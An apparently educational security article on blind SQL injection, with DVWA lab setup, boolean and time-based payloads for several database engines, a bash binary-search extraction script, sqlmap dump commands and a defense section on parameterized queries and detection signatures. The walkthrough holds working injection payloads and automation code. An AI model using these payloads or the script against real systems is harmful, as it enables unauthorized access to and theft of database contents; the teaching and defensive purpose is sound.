Legal & ethical disclaimer. This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test (e.g. a personal lab, a bug bounty program within scope, or a contracted engagement). Unauthorized access to computer systems is a crime under laws such as the U.S. CFAA, the UK Computer Misuse Act, and equivalents worldwide.
Introduction / Overview
Classic SQL injection (SQLi) is easy when the application echoes query results or database errors back to you. Blind SQL injection is the harder, more common variant: the injection is real, but the response body never contains the data you want. You cannot read the answer directly — so you infer it, one bit or one character at a time, by asking the database true/false questions and observing a side channel.
In this article you'll learn the two foundational blind techniques — boolean-based and time-based inference — how to build payloads with SUBSTRING and SLEEP, how to automate extraction with sqlmap, and how defenders detect and stop these attacks. If you also want to brush up on the in-band case first, see SQL Injection Fundamentals.
How It Works / Background
In a blind scenario, the injectable query runs server-side but its result is invisible. The trick is to fold a yes/no predicate into the query whose outcome changes something you can observe.
There are two observable side channels:
- Boolean-based (content) inference — A
TRUEcondition yields the normal page (e.g. "Welcome back" or HTTP 200 with content), whileFALSEyields a different page (e.g. "Invalid user" or empty results). You binary-search each character. - Time-based inference — When even the page content is identical for true and false, you weaponize response latency. A conditional
SLEEP()(MySQL/MariaDB),pg_sleep()(PostgreSQL), orWAITFOR DELAY(MSSQL) makes the server pause only when your predicate is true. You measure the response time.
Both rely on the same primitive: extract a character of secret data using string functions and compare it. The canonical extractor is SUBSTRING(string, position, length) (MySQL/MSSQL; SUBSTR in Oracle, substring in PostgreSQL), combined with ASCII() to get a numeric codepoint you can binary-search between 0 and 127.
A single character test in MySQL looks like this:
-- Is the 1st char of the current DB user's name code-point > 109 ('m')?
SELECT ASCII(SUBSTRING((SELECT CURRENT_USER()),1,1)) > 109SQLPrerequisites / Lab Setup
You need a controlled target. Two good options:
- DVWA (Damn Vulnerable Web Application) — has a dedicated "SQL Injection (Blind)" module.
- PortSwigger Web Security Academy — free labs for both boolean and time-based blind SQLi.
Spin up DVWA quickly with Docker:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Browse http://localhost/, log in admin/password,
# set DVWA Security to "Low" or "Medium", open "SQL Injection (Blind)".BashTools used below: curl, Burp Suite (or any intercepting proxy), and sqlmap (ships with Kali; otherwise pipx install sqlmap).
Attack Walkthrough / PoC
Step 1 — Confirm the injection is blind
Take a parameter like ?id=1. Send a logically true and a logically false condition and compare responses:
# TRUE condition -> "User ID exists"
curl -s "http://target/blind.php?id=1' AND 1=1-- -" | grep -c "exists"
# FALSE condition -> "User ID is MISSING"
curl -s "http://target/blind.php?id=1' AND 1=2-- -" | grep -c "exists"BashIf the two responses differ predictably, you have a boolean-based channel. If they're identical, fall back to timing in Step 3.
Step 2 — Boolean-based extraction with SUBSTRING
Extract the database version's first character. We binary-search the ASCII value, halving the search space each request:
# Ask: is ASCII(1st char of @@version) greater than 53 ('5')?
curl -s "http://target/blind.php?id=1' AND ASCII(SUBSTRING(@@version,1,1))>53-- -" \
| grep -q "exists" && echo "TRUE (>53)" || echo "FALSE (<=53)"BashTo pull a whole secret (say, the current user) without writing a parser by hand, a small loop using binary search keeps it to ~7 requests per character:
#!/usr/bin/env bash
URL="http://target/blind.php"
extract() { local q="$1"; local out=""
for pos in $(seq 1 32); do
local lo=32 hi=126 mid
while [ $lo -le $hi ]; do
mid=$(( (lo + hi) / 2 ))
p="1' AND ASCII(SUBSTRING(($q),$pos,1))>$mid-- -"
if curl -s --get --data-urlencode "id=$p" "$URL" | grep -q "exists"; then
lo=$((mid + 1))
else
hi=$((mid - 1))
fi
done
[ "$lo" -eq 32 ] && break # no char -> end of string
out+=$(printf "\\$(printf '%03o' "$lo")")
done
echo "$out"
}
extract "SELECT CURRENT_USER()"BashSUBSTRING(...,pos,1) isolates one character; ASCII() turns it into a number; the >$mid comparison drives the binary search. The convergence point lo is the character's codepoint.
Step 3 — Time-based extraction with SLEEP
When content never changes, gate a delay on your predicate. The condition is only evaluated (and the sleep only fires) when true:
# MySQL: sleep 3s only if the 1st char of the DB name code-point > 109
curl -s -o /dev/null -w "%{time_total}\n" \
"http://target/blind.php?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>109,SLEEP(3),0)-- -"BashA response time near or above 3 seconds means TRUE. Engine-specific equivalents:
-- PostgreSQL
1; SELECT CASE WHEN (ASCII(SUBSTRING(current_database(),1,1))>109)
THEN pg_sleep(3) ELSE pg_sleep(0) END-- -
-- Microsoft SQL Server
1'; IF (ASCII(SUBSTRING(DB_NAME(),1,1))>109) WAITFOR DELAY '0:0:3'-- -
-- Oracle (heavy query as a delay primitive)
1' AND 1=(CASE WHEN (...) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',3) ELSE 1 END)-- -SQLTime-based attacks are slow and noisy on the network, so always set a delay long enough to beat jitter (2–5s) but short enough to finish, and confirm hits by repeating once.
Step 4 — Automate with sqlmap
In practice you let sqlmap handle the binary search, threading, and DBMS fingerprinting. Restrict the technique with --technique (B = boolean, T = time-based):
# Boolean + time-based only, dump the users table
sqlmap -u "http://target/blind.php?id=1" --cookie="security=low; PHPSESSID=..." \
--technique=BT --dbms=mysql --batch \
--string="exists" \
-D dvwa -T users --dumpBash--string="exists" tells sqlmap the marker for a TRUE boolean response; for pure time-based it auto-calibrates a --time-sec threshold. Use --level and --risk to broaden payloads, and --threads 4 to speed up extraction.
Attack Flow Diagram

Diagram: pick boolean inference when the page content changes, otherwise fall back to timing, then binary-search every character until the secret is reconstructed.
Detection & Defense (Blue Team)
Blind SQLi is fundamentally a flaw in how queries are built. Defense in depth:
- Parameterized queries / prepared statements. The single most effective control. Bound parameters are never parsed as SQL, so
SUBSTRING(...)>53is treated as literal data, not code. Use PDO withprepare()/execute()in PHP, parameterizedcursor.execute(sql, params)in Python, or an ORM that parameterizes by default. Never concatenate user input into SQL. - Least privilege DB accounts. The web app's DB user should not own the schema, read
mysql.user, or runSLEEP-heavy stacked queries. RevokeFILE,SUPER, and cross-databaseSELECT. This caps the blast radius even when injection exists. - Allow-list input validation. Constrain
idparameters to integers, enums, or known patterns server-side. Reject anything else with a generic error. - Detect time-based attacks via latency anomalies. Monitor for endpoints whose response time clusters suspiciously around fixed values (e.g. exactly ~3s, ~6s, ~9s) and for many requests from one source with near-identical URLs differing only in a comparison constant — the signature of a binary search.
- Detect boolean-based attacks via request patterns. A flood of requests toggling between two near-identical responses, or containing tokens like
AND 1=1,AND 1=2,ASCII(,SUBSTRING(,ORD(, maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application). Surface these in your SIEM. - WAF as a compensating control. AWS WAF, ModSecurity (OWASP CRS), or Cloudflare can block known SQLi payload signatures and rate-limit inference bursts. Treat the WAF as a speed bump, not a fix — encodings and
/*!...*/comments bypass naive rules. - Statement timeouts. Set
max_execution_time(MySQL) orstatement_timeout(PostgreSQL) so a maliciousSLEEP(30)is killed early, blunting time-based extraction and DoS.
For broader monitoring practices on injection-class bugs, see Web Application Firewall Bypass Techniques.
Conclusion
Blind SQL injection trades direct data exposure for an inference game: build a true/false predicate, observe a side channel — page content or response time — and binary-search your way to the secret with SUBSTRING and ASCII or a conditional SLEEP. The technique is slow by hand but trivially automated with sqlmap. On defense, the story is simpler than the attack: parameterize every query, enforce least privilege, validate input, and watch for the tell-tale latency and request-pattern anomalies that inference attacks leave behind.
References
- OWASP — Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
- OWASP — SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- PortSwigger Web Security Academy — Blind SQL injection: https://portswigger.net/web-security/sql-injection/blind
- MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- HackTricks — SQL Injection: https://book.hacktricks.xyz/pentesting-web/sql-injection
- sqlmap official documentation: https://github.com/sqlmapproject/sqlmap/wiki



Comments